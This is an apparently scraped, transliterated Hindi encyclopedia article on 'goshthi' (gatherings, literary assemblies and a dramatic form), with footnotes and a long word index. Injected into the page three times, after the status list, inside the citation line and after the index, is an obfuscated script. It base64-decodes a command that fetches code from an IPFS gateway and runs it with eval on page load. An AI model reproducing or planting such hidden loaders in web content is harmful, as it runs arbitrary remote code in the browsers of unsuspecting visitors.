गोष्ठी

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

goshthi shabd ka ati prachin prayog 'aitarey brahman'[1] se milane lagata hai. is yug mean charagahoan se pashuoan ko ekatr kar kisi ek sthan par suraksha ki drishti se rat bitani p dati thi. aise avasaroan par kisi vriksh ke niche baithakar gop-gopiyoan ke bich gapp goshthiyaan ayojit ki jati thian. dhire dhire ve sthan sangathit hokar nivas ke sthayi sthal banate ge. gathasaptashati '[2] mean gotthan ka prayog is sandarbh mean smaraniy haian. siandhi bhasha ka goth shabd bhi gaanv ka hi paryay hai.

aitihasik sandarbh

'nayadhamm kahaoan[3] se pata chalata hai ki usake rachanakal tak 'laliyaenaman gotthi' (lalit goshthi) ka ayojan hone laga tha. svayan shasak ke sanrakshan mean aisi goshthiyaan ayojit ki jati thian jinake sadasy sanpann kul ke hua karate the. aisi goshthiyaan keval amodapramod ke liye bulaee jati thian. kathakosh[4] ke anusar vichar vinimay ke madhyam dvara jnanarjan ke liye jo saanskritik baithakean hua karati thian unhean 'goshthisamavay' ki sanjna prapt thi. samanyat: aisi geshthiyaan ganikalay, sabhamandap athava kisi sanpann nagarik ke yahaan ayojit ki jati thian. vichar vinimay ka vishay kala, sahity athava sangit hua karata tha. guni kalakaroan aur sahityaseviyoan ko puraskrit bhi kiya jata tha. kamasootr[5] mean 'panagoshthiyoan' ka ullekh milata hai jinamean nagaravadhuean bhi bhag liya karati thian. vahaan par chat ke sath sath sura sevan ki bhi vyavastha rahati thi. inaka ayojan kabhi kabhi udyanayatra ke avasaroan par hua karata tha, anyatha ye nagarikoan ke gharoan mean ju da karati thian.

sahityik sandarbh

kavyamimaansakar rajashekhar ne kavyaparikshan[6] ke liye jis kavyagoshthi athava kavi samaj ki vyavastha shasakoan ko di hai yah bhinn koti ki thi. prachin kal ki aisi kavyagoshthiyoan mean kabhi kabhi shastrarth bhi hua karate the. kaha jata hai, ki aisi goshthiyoan ka sabhapatitv vasudev, shalivahan hal, shoodrak aur sahasaank vikramadity tak ne ki thi. manasollas [7] ke anusar someshvar ke darabar mean kabhi kabhi tisare pahar kavi goshthiyaan bhi hua karati thian jinamean kavi, gayak, vidvanh‌ aur naiyayik rajasianhasan ke pas baithakar bhag liya karate the. aise avasaroan par paritoshik vitaran ki vyavastha bhi rahati thi, jahaan saddharmi bhi amantrit kie jate the. marathi mean goshthi ka ek prayog 'kanaphoosi' (rahasyavarta) ke arth mean paya jata hai jisaka parichay hamean madhyakalin santoan, bhaktoan aur yogiyoan ke sanvadamoolak goshthiyoan dvara mila karata hai. hiandi sahity kshetr mean bhi sahityakaroan, chitrakaroan adi ki goshthiyaan kuchh saloan se hone lagi haian.

any sandarbh

goshthi ka ek roop kisi aank ke uparoopak mean bhi milata hai, jahaan nau das purushoan tatha paanch chhah striyoan ka abhinay anivary samajha jata tha. isamean kaishikivatti ki yojana, udatt vachanoan ke prayog aur garbh tatha vimarsh sandhiyoan ke atirikt shesh sabhi sandhiyoan ka samavesh rahata hai. any batoan ki sadrishy natak jaisa hai. sahityadarpanakar vishvanath ki sthapanaoan[8] ki samanata 'sharadatanay' [9] ke vicharoan jaisi hai. jainiyoan ke adipuran[10] mean rrishabhadev ke baly jivan ki goshthiyoan ka varnan hai, jahaan par kalagoshthi, padagoshthi, jalpagoshthi ka varnan milata hai jisamean yuddhakshetr ke viroan ke krityoan ka nidarshan hua karata tha.



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. aitarey brahman 3/18/1-4
  2. gathasaptashati' 7/9
  3. kahaoan' 1/16/77- 88
  4. 'kathakosh' 1/4/3436
  5. 'kamasootr' 1/4/38539
  6. kavyaparikshan 10/17477
  7. manasollas pri. 171589
  8. 6/274-75
  9. bhavaprakash, ashtam adhikar
  10. adipuran 14.190-92

goshthi (hiandi) bharatakhoj. abhigaman tithi: 29 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

shabd sandarbh kosh
kashtakar aantararashtriy aantarrashtriy kalpasiddhi gatha upakhyan akhyan shatabdi suee nyagrodh mahapran vyanjan antahsth vyanjan oshthy vyanjan danty vyanjan moordhany vyanjan talavy vyanjan kanthy vyanjan avyay vats kumar kimpurush saty vah sanvarttak (hal) sthavar jara mohanastr aishik shastr rat sanatan anant adbhut varah dand vimukh kukur vrishadhvaj (bahuvikalpi) yayavar satr kulapati charu shoorp yoothanath dvarapal kalabattoo dhatta k davak klib bhriang patohoo attagattar attagam achal pravritti abohan aant-ayamh barabar kshetr hirany haraniparyant halli hallikar halik haiman shasy shrani svaviryopajivin sunu soona sthan sthan many sthal sthal vritti strot chaturth panchabhagikam gunapatr khettasamik balidan kripyagrih kumaragadiyanak kulyavap karmantik sima ekapurushikam utpadyamanavishti avat asihar ali aghat adhavay adanak skandhavar sity siddh seva setubandh senabhakt sarvamany sarv-abhyaantar-siddhi sannidhata sangrahat sankraant sankar kul sankar gram sadhy ayanaangal attapatibhag asvayankrit krishi ardhasitika akshayanivi akshapataladhyaksh akshapatal akrit akrisht akaradayin akarad agrahar agraharik adevamatrik adhyiy-manussanam niyog samaharta sali sakarukar sadbhag sachitt sabha-madhyam shulk shaulkik shasan roodhamarodhi ropan rajju rajakiy kshetr yogakshem yav mey masu moolavap mandapika mahatran bhootavatapratyay bhoomichchhidranyay bhoomask bhukti bhujyaman bhogayak bhogapati bhogagam bhog bhikshu hal bhikhkhuhalaparihar bhandagarik brahmadey bittuvatt bhadrabhog bhagadudh bhaikshak bijagan baraj phenaghat pustapal poorvavap pur pratikar pradesh pathak patit pindak pautavamh pattala parshv parru patak pallika pariharik parihar padonalaksh panyasanstha paribhog panchakul nyay karnik nivartan vyamishr-bhoomi brihi vivita vittolakar vishamatta vilop vatthupati vatak vaset-kutambik varta varshikashasy varatra varaj viparyast viparyay vapi vapatiriktamh vap gatya laangul roopajiva roopadarshak shastriy kala shastr astr shastr shastriy thana sootr svabhav savyasachi puny tithi jayanti sair rangashala tarani tarani jatak ghoshanapatr godhooli mahamaya vitan meharab sharkara gaz yatana shivir samanvayavad goshthi kachahari anamika (uangali) madhyama tarjani aangootha nuqta kootasth smart kandara khana khanabadosh koshn upabhog upabhokta utpadan utpadak akhetak naugamy avasthit aur upasthit abhijn aur anabhijn afavah aur kianvadanti adhikaansh aur adhikatar aantarrashtriy aur aantararashtriy anuvad adhyas sahodara sahodar dashalakshan dharm sanyam janashruti paras rajamahal sudarshan anushthan kathauti kathauta baragir baragi bijana juga d kharal nal kashkol sadaqa chhinnak arani ap: valay tarang avashesh sakhi abhang abir shrriang raka lokakatha akha da aangahin bavali khandahar safar sarika aantardhan daity vidhi yam (sanyam) nivesh nam puchhattar bakhar tattho-thanbho bela goru asarait muda alagyojha dvij ambu pravrajya eehit eehamrig eeha eehag eesari eesar eesan ees eeshm eeshu eeshika eesha eeshana eeshad eeshath‌sprisht eeshat eeshvaropasana eeshvariy eeshvari eeshvaradhin eeshvaravadi eeshvar-vad eeshvar-pranidhan eeshitv eeshita eesha eeshata eeli eeli eel eershyalu eershya eershyak eershy eershu eershit eershalu eersha eershana eerit eeran eeramad eerakha eer eemanadari eemanadar eeman-kalyan eeman eepsu eepsit eepsa eeda triganbhir trigandhak trigang trikhi trikha trikh trikshur trikshar trikon-miti trikon-bhavan trikon-phal tri-koorchak trikoota trikoot gadh trikuti trikuta trikut trikaladarshi trikaladarshita trikal-darshak trikalajnata trikalajn trikal trikarshik trikay trika trikaandiy eedrish eedi eetar eedh trikaand eedy trik-shool eedit trikal eedan eethi trikarma trikarman trikatray eethana trikatuk trikatu trikat eejad trikakum eeja trikakud eechha tri-kant jnanad jnanachakshu jnanagochar jnanagamy jnan krit jnatrivy jnati putr jnati jnata jnatavy jnat yauvana jnat-nandan jnat jnapti jnapit jnapan jnapt jnapan eechhan eekharaj trishaansh tri eekh eekshit trianshatpatr eeksha eekshika trishat eekshan trishah eekshanik eekshak eekaraant trahi iandr savarni iandr sabha iandr varuni iandr vadhoo iandr vansha iandr yav iandr mandal iandr nil indr dhvaj iandradhanushi iandr jau iandrajali iandr jav iandrachap iandr gop eekar iandr giri iandr krisht eedh iandrak eeanta iandriyavad eeancha-tani iandiralay iandira-raman iandira eeanchana iantaha iantazar eestar iantazam iantaqal eesh manohari iantaqam iantakohara eesh-gau d iantaee iangur eesh-giri iangudi eeth dravy kafan adrisht sadi granth kalaantar drishy tatavarti gantavy supachy paridrishy udagam talluq dar benami sauda apavah prayopavesh anushruti aang shabd sandarbh soochi alankaran bhuv kianvadanti madhu vaikunth (bahuvikalpi) agni jin (bahuvikalpi) asandi mithak atma bhakt pradarsh pradar astik toran kanik kanika eshana ela upahasit unmatt unmukh udrek udot aja upashaman upasham eeti apoh anooru anuyog anuyojy nepathy nrimedh nirdisht nivritt nivritti nirvap nirvat nishkantak viplav nishk viplavi viplav chinty ajiv ajivak parapatr nikshepak nikshep dhrishtata dhrisht dhav akhilesh vitarkan vitark latta vitat kurang kuanjar kalush dhatri vidya dhatriphal dhatri navami dhatri karni kapisha kanakhi karsh dript ark shamy sushravy dhriti sushrava ayut shishi dhrit sushthu sushrav apatr sanvrit ranjan ranjak yoothika yoop yuti yashti luanchan lasy sasy samarchan sahik sukrit lalam bianb banak bhasvar bhavy pranav achchhadit achchhadak achchhann janmaandh vivart vivarn hapana hap vachy vak lav rochana rochan rechan rechak ruchira ruchir mukari (paheli) audichy aurvashey shala aurv sharika shari shakun amlan phurahari charvi agah chakanachoor shanku shaman sharabh shardool chokha chitra okha okh aindr phunagi agamy vahika vahik kshataj kshat ksharan kshar ghalana ghal bilalana bandhak jhilamila jhilam kshitij yatharthavad ookha yatharth ookh oogat khanak khan kanak laghavi laghavik laghavakari laghav kshiprahast chhak havi havy kanishthika sugat janaant tush hriti hritadhikar drishti drishtarth drishtaant drishtavad pratyakshavad pratyagatma kshiprakari kshipr hrit pratyakshar hrichchhool kheh pratyaksh drishtavat moolabhoot drishtaphal vayavi vayaviy kanishtha vayav kanishth maulik drisht dosh drishtakoot moolik drisht vishti nidagh harmy achyut punit tattv mukari anand yantr pad aandhata sadhu yash sant diksha vidhu muramardan purushottam bhav pitambar har madhav chaturbhuj ugr upendr sthanu kratudhvansin bharg nilalohit trilochan viroopaksh vamadev (shiv) shitakinth (shiv) shitakinth garu dadhvaj girish govind suparn shrikanth kapardin pinaki mrityuanjay mrid girish nagantak bhootesh shankar sharv narayan maheshvar (shiv) vainatey shoolin pashupati tarkshy eesh muni vikat munindr vighnanashak sumukh lokajit garutmath marajit bhagavat tathagat dharmaraj sarvajn vinayak agadh ary arh alp ikshu ichchha asrav asy ahary akrand akarsh asooyak akshar oj prakarsh panth prakrit ekarth unnamr ujjrimbhan eeshan unnat ujjrimbh jayy jay nairujy jalp mand tej namaskar namrata namr prabhav arjav pratap akropolis aantashchetana aant:karan agora atinootan yug anagami anal anagradant ativriddhi adhihrishata (ailarji) anubandh anubhav anubhavavad anyathanupapatti anyathasiddhi apil abhiprerak albam arajakata amin ayam ianjil iantar liangua koshadhyaksh dainik masik

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah